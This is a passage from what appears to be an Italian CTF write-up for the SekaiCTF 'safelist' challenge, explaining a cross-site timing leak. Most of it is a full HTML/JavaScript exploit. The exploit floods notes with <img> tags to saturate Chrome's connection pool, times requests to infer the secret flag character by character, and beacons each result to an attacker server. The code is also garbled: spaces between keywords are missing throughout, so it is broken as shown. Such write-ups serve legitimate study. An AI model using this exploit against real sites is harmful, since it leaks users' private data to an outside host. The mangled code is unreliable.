L'attaccante inietterà una nota con quanti più <img tag caricando/js/purify.js possibile (più di 6 per bloccare l'origine).
Poi, l'attaccante rimuoverà la nota con indice 1.
Poi, l'attaccante [farà accedere il bot alla pagina con la nota rimanente] e invierà una richiesta a victim.com/js/purify.js che lui temerà.
Se il tempo è maggiore, l'iniezione era nella nota rimasta, se il tempo è minore, il flag era lì.
A dire il vero, leggendo lo script mi è mancata qualche parte in cui l'attaccante fa caricare al bot la pagina per attivare i tag img, non vedo nulla di simile nel codice
<html><head><script>constSITE_URL='https://safelist.ctf.sekai.team/';constPING_URL='https://myserver';functiontimeScript(){returnnewPromise(resolve => {var x =document.createElement('script');x.src ='https://safelist.ctf.sekai.team/js/purify.js?'+Math.random();var start =Date.now();x.onerror= () => {console.log(`Time: ${Date.now() - start}`); //Time requestresolve(Date.now() - start);x.remove();}document.body.appendChild(x);});}add_note=async (note) => {let x =document.createElement('form')x.action =SITE_URL+"create"x.method ="POST"x.target ="xxx"let i =document.createElement("input");i.type ="text"i.name ="text"i.value = notex.appendChild(i)document.body.appendChild(x)x.submit()}remove_note=async (note_id) => {let x =document.createElement('form')x.action =SITE_URL+"remove"x.method ="POST"x.target ="_blank"let i =document.createElement("input");i.type ="text"i.name ="index"i.value = note_idx.appendChild(i)document.body.appendChild(x)x.submit()}constsleep= ms =>newPromise(resolve =>setTimeout(resolve, ms));// }zyxwvutsrqponmlkjihgfedcba_constalphabet='zyxwvutsrqponmlkjihgfedcba_'var prefix ='SEKAI{xsleakyay';constTIMEOUT=500;asyncfunctioncheckLetter(letter){// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
// Depending whether we found flag's letter it will either load the images or not.// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
constpayload=`${prefix}${letter}`+Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');awaitadd_note(payload);awaitsleep(TIMEOUT);awaittimeScript();awaitremove_note(1); //Now, only the note with the flag or with the injection existshawaitsleep(TIMEOUT);consttime=awaittimeScript(); //Find out how much a request to the same origin takesnavigator.sendBeacon(PING_URL, [letter,time]);if(time>100){return1;}return0;}window.onload=async () => {navigator.sendBeacon(PING_URL,'start');// doesnt work because we are removing flag after success.// while(1){for(constletterof alphabet){if(awaitcheckLetter(letter)){prefix += letter;navigator.sendBeacon(PING_URL, prefix);break;}}// }};</script></head><body></body></html>